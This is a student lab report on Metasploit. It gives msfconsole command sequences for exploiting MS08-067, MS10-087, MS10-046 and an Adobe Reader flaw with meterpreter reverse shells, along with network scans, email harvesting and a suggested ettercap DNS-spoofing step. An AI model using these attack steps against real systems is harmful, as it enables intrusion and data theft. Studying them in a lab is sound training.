2017-2018-2 20155303『网络对抗技术』Exp5:MSF基础应用
————————CONTENTS————————
- 一.原理与实践说明
- 二.实践过程记录
- 1.Windows服务渗透攻击——MS08-067安全漏洞
- 2.浏览器渗透攻击——MS11-050
- 3.针对Office软件的渗透攻击——MS10-087
- 4.针对Adobe Reader软件的渗透攻击——adobe_toolbutton
- 5.快捷方式图标漏洞——MS10-046
- 6.Metasploit之——信息收集模块
- 扫描端口
- ssh服务器扫描
- telnet服务器扫描
- 搜索网站中的Email地址
- 扫描局域网有多少主机存活
- 三.实践总结及体会
- 附:参考资料
一.原理与实践说明
1.实践内容
本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:
-
一个主动攻击实践,如ms08-067; (1分)
-
一个针对浏览器的攻击,如ms11-050;(1分)
-
一个针对客户端的攻击,如Adobe;(1分)
-
成功应用任何一个辅助模块。(0.5分)
以上四个小实践可不限于以上示例,并要求至少有一个是和其他所有同学不一样的,否则扣除0.5分。
2.预备知识
一、MSF的六种模块
Exploit
模块- 是利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问权的代码组件。
- 形象点来说就是攻击模块
Payload
模块- 是在渗透成功后促使目标系统运行的一端植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接。实际上,该模块就是计算机集成的针对不同操作系统实现shellcode攻击的ruby代码。
Encoder
模块- 针对
payload
进行编码,可以通过多种编码手段、多次编码方式有效的改变payload
代码特征 - 不改变
payload
作用,但能对payload
进行加工
- 针对
Aux
模块- 能够帮助渗透测试中在进行渗透攻击之前得到的目标系统丰富的情报信息,从而发起更具目标性的精准攻击。
- 主要包括针对各种网络服务的扫描和查点、构建虚假服务收集登录密码、口令猜测破解、敏感信息嗅探、探查敏感信息泄露、Fuzz测试发掘漏洞、实施网络协议欺骗等模块。
Post
模块- 支持在渗透攻击取得目标系统远程控制权之后,在受控系统中进行给各样的后渗透攻击动作。
- 这里主要指的是攻击之后可能用到的模块
- Nops模块
- 是一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,最典型的空指令就是空操作,在X86 CPU体系架构平台上的操作码是0x90
- 因为有些代码返回地址很难确认,所以在实际中有时候会填充一大段空指令,便于快速确定返回地址的位置
二、MSF常用漏洞利用命令
search name
:用指定关键字搜索可以利用的漏洞模块use exploit name
:使用漏洞show options
:显示配置选项set option name option
:设置选项show payloads
:回链攻击载荷show targets
显示目标(os版本)set TARGET target number
:设置目标版本exploit
:开始漏洞攻击sessions -l
:列出会话sessions -i id
:选择会话sessions -k id
:结束会话Ctrl+z
:把会话放到后台Ctrl+c
:结束会话show auxiliary
:显示辅助模块use auxiliary name
:使用辅助模块set option name option
:设置选项exploit
:运行模块
3.基础问题
- 问:用自己的话解释什么是
exploit
,payload
,encode
。exploit
:测试者利用系统,程序,或服务的漏洞进行攻击的一个过程。payload
:攻击者在目标系统上执行的一段攻击代码,该代码具有返弹连接,创建用户,执行其他系统命令的功能。encode
:encode
编码一是为了避免使攻击载荷不能完整运行的“坏字符”,二是为了改变特征码,帮助攻击载荷避免被杀软发现。
二.实践过程记录
1.Windows服务渗透攻击——MS08-067安全漏洞
①攻击机:kali ②靶机:windows XP SP3(English)
在攻击机kali输入msfconsole
进入控制台,依次输入以下指令:
- msf >
use exploit/windows/smb/ms08_067_netapi
- msf exploit(ms08_067_netapi) >
show payloads
- msf exploit(ms08_067_netapi) >
set payload generic/shell_reverse_tcp
//tcp反向回连 - msf exploit(ms08_067_netapi) >
set LHOST 192.168.130.130
//攻击机ip - msf exploit(ms08_067_netapi) >
set LPORT 5303
//攻击端口 - msf exploit(ms08_067_netapi) >
set RHOST 192.168.130.133
//靶机ip,特定漏洞端口已经固定 - msf exploit(ms08_067_netapi) >
set target 0
//自动选择目标系统类型,匹配度较高 - msf exploit(ms08_067_netapi) >
exploit
//攻击
建立会话,攻击成功结果如下:
2.浏览器渗透攻击——MS11-050
①攻击机:kali ②靶机:WindowsXP Professional sp2/Windows7专业版 ③IE版本:7.0/8.0
在攻击机kali输入msfconsole
进入控制台,依次输入以下指令:
- msf >
use windows/browser/ms11_050_mshtml_cobjectelement
- msf exploit(ms11_050_cobjectelement) >
set payload windows/meterpreter/reverse_http
//http反向回连 - msf exploit(ms11_050_cobjectelement) >
set LHOST 192.168.130.130
//攻击机ip - msf exploit(ms11_050_cobjectelement) >
set LPORT 5303
//攻击端口固定 - msf exploit(ms11_050_cobjectelement) >
set URIPATH 2015dwj
//统一资源标识符路径设置 - msf exploit(ms11_050_cobjectelement) >
exploit
在浏览器输入http://192.168.130.130:8080/2015dwj
,IE出现弹窗,警告遇到问题需关闭程序:
此时攻击机正在尝试建立会话,但靶机已经禁止访问了该网页。失败。
第二次在IE中访问特定URI,这次回车刚一敲下去,连界面都还没有弹出来,又被kill了:
严肃地思考:是不是浏览器或者靶机系统的问题?看看还有哪些系统或软件会存在这个漏洞吧:
于是尝试了winXP/win7和IE7.0/IE8.0等等排列组合,费尽周折配置好了几种环境,可是还是失败了。
去网上搜各种『ie已经为了帮助保护您的计算机而关闭此网页-百度经验』、『使用ie8 提示Internet Explorer 已经为了帮助保护您的计算机而关闭此网页,怎么解决』、『Win7系统下IE浏览器提示“IE为了保护计算机而关闭网页”的问题分析及解决方法』等等等等解决方案,根据前人的经验教训总结出了:应该修改Internet的安全设置!
在IE浏览器打开“工具->Internet选项”,选择“安全”选项卡,将设置里面最不安全的全部选上,自定义也设置为最低等级——“中”:
除此之外,选择“高级”选项卡,选中“允许运行或安装软件,即使签名无效”:
总之,想尽一切方法降低IE浏览器的警惕性,让它老老实实地中我们的圈套!
可是还是失败了..且原因至今未知(ಥ_ಥ)
3.针对Office软件的渗透攻击——MS10-087
①攻击机:kali ②靶机:windowsXP Professional sp2 ③Office版本:2003
在攻击机kali输入msfconsole
进入控制台,依次输入以下指令:
- msf >
use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
- msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) >
set payload windows/exec
//运行一个可执行文件 - msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) >
set CMD calc.exe
//绑定计算器程序,进行启动 - msf exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) >
exploit
//攻击
使用show options
命令查看一些参数值,比如文件名、绑定程序等等。此时文件名为默认,也可以进行修改。
将生成的文件从/root/.msf4/local/msf.rft
拷贝到靶机上,并使用Office2003打开。不管第几次打开,都会提示错误:
双击运行的同时,由于绑定到计算器,因此打开了计算器程序,攻击成功:
4.针对Adobe Reader软件的渗透攻击——adobe_toolbutton
①攻击机:kali ②靶机:windowsXP Professional sp2 ③Adobe版本:9.3
在攻击机kali输入msfconsole
进入控制台,依次输入以下指令:
- msf >
use windows/fileformat/adobe_cooltype_sing
- msf exploit(adobe_cooltype_sing) >
set payload windows/meterpreter/reverse_tcp
//tcp反向回连 - msf exploit(adobe_cooltype_sing) >
set LHOST 192.168.130.130
//攻击机ip - msf exploit(adobe_cooltype_sing) >
set LPORT 5303
//攻击端口 - msf exploit(adobe_cooltype_sing) >
set FILENAME 20155303-2.pdf
//设置生成pdf文件的名字 - msf exploit(adobe_cooltype_sing) >
exploit
//攻击
生成的pdf如下图所示:
将生成的pdf文件拷贝到靶机上。
在kali上输入back退出当前模块,进入监听模块,输入以下命令:
- msf >
use exploit/multi/handler
//进入监听模块 - msf exploit(handler) >
set payload windows/meterpreter/reverse_tcp
//tcp反向连接 - msf exploit(handler) >
set LHOST 192.168.130.130
//攻击机ip - msf exploit(handler) >
set LPORT 5303
//攻击端口固定 - msf exploit(handler) >
exploit
在靶机上打开20155303-2.pdf
文件:
攻击机显示攻击成功:
此时若关闭pdf文件,则失去权限,攻击失败:
5.快捷方式图标漏洞——MS10-046
①攻击机:kali ②靶机:windowsXP Professional sp2
在攻击机kali输入msfconsole
进入控制台,依次输入以下指令:
- msf >
use exploit/windows/browser/ms10_046_shortcut_icon_dllloader
- msf exploit(ms10_046_shortcut_icon_dllloader) >
set SRVHOST 192.168.130.130
//攻击机ip - msf exploit(ms10_046_shortcut_icon_dllloader) >
set payload windows/meterpreter/reverse_tcp
//tcp反向回连 - msf exploit(ms10_046_shortcut_icon_dllloader) >
set LHOST 192.168.130.130
//攻击机ip - msf exploit(ms10_046_shortcut_icon_dllloader) >
exploit
//攻击
这样一来,靶机只要在浏览器访问192.168.130.130:80
,就中了攻击者的圈套:
点击“允许”,会弹出一个攻击者IP的目录,其中有一个“快捷方式”的图标:
此时攻击机正在悄悄地连接靶机,试图建立会话:
靶机双击快捷方式,攻击机方显示成功建立会话。使用sessions -i 1
选择会话:
尝试输入shell
命令,攻击成功:
如果靶机关闭网页,攻击机仍可控制并攻击靶机:
一点小小的思考:让靶机输入攻击机的IP地址还是有很大的局限性。如果能将DNS欺骗与之相结合,那攻击就会更加主动。在这里可以用
ettercap
,修改etter.dns
配置文件为*.cn A 192.168.130.130
。这样一来,只要受害者访问*.cn域名的时候,就会强行被欺骗成192.168.130.130:80
,从而就更加容易达到攻击者的目的啦~
6.Metasploit之——信息收集模块
一、扫描端口
- msf >
use auxiliary/scanner/portscan/syn
(使用portscan模块) - msf auxiliary(syn) >
show options
- msf auxiliary(syn) >
set RHOSTS 192.168.130.130
(目标) - msf auxiliary(syn) >
set THREADS 50
(线程) - msf auxiliary(syn) >
exploit
二、ssh服务器扫描
- msf >
use auxiliary/scanner/ssh/ssh_version
(使用ssh_version模块) - msf auxiliary(ssh_version) >
show options
(查看选项) - msf auxiliary(ssh_version) >
set RHOSTS 10.107.100.0/24
(目标网段) - msf auxiliary(ssh_version) >
set THREADS 50
(线程) - msf auxiliary(ssh_version) >
exploit
(开始)
三、telnet服务器扫描
- msf >
use auxiliary/scanner/telnet/telnet_version
(使用telnet_version模块) - msf auxiliary(telnet_version) >
show options
(查看选项) - msf auxiliary(telnet_version) >
set RHOSTS
10.180.100.0/24(目标网段) - msf auxiliary(telnet_version) >
set THREADS 50
(线程) - msf auxiliary(telnet_version) >
exploit
(开始)
四、搜索网站中的Email地址
- msf >
use auxiliary/gather/search_email_collector
(使用search_email_collector模块) - msf auxiliary(search_email_collector) >
show options
(查看选项) - msf auxiliary(search_email_collector) >
set DOMAIN baidu.com
(扫描目标) - msf auxiliary(search_email_collector) >
exploit
(开始)
五、扫描局域网有多少主机存活
- msf >
use auxiliary/scanner/discovery/arp_sweep
(使用discovery/arp_sweep模块) - msf auxiliary(arp_sweep) >
show options
(查看选项) - msf auxiliary(arp_sweep) >
set RHOSTS 10.180.100.0/24
(目标网段) - msf auxiliary(arp_sweep) >
set THREADS 50
(线程) - msf auxiliary(arp_sweep) >
exploit
(开始)
以下为对所在局域网进行扫描后的结果:
三.实践总结及体会
- 本次实验操作起来非常简单,逻辑也很清晰,绝大多数的时间花费在了配置环境上。从windowsXP Professional sp2到windows XP SP3(English),从IE 6.0到IE 7.0/8.0,Adobe Reader11到9,Office2010到2003,着实感受到了配置环境的艰辛,也体会到了metasploit攻击漏洞的专一性,对操作系统和软件版本都有细致的要求。必须要在特定环境和特定触发条件下才能成功。我想这也是与实践的差距之一吧。
- 总体来说实验过程还是比较顺利,除了利用经典的这些漏洞外,还了解到了一些其他方法,比如自己写代码放入模块中,同样可以有针对性地实现攻击。在微软安全技术中心有很多最新公布的漏洞,都可以作为实践的素材。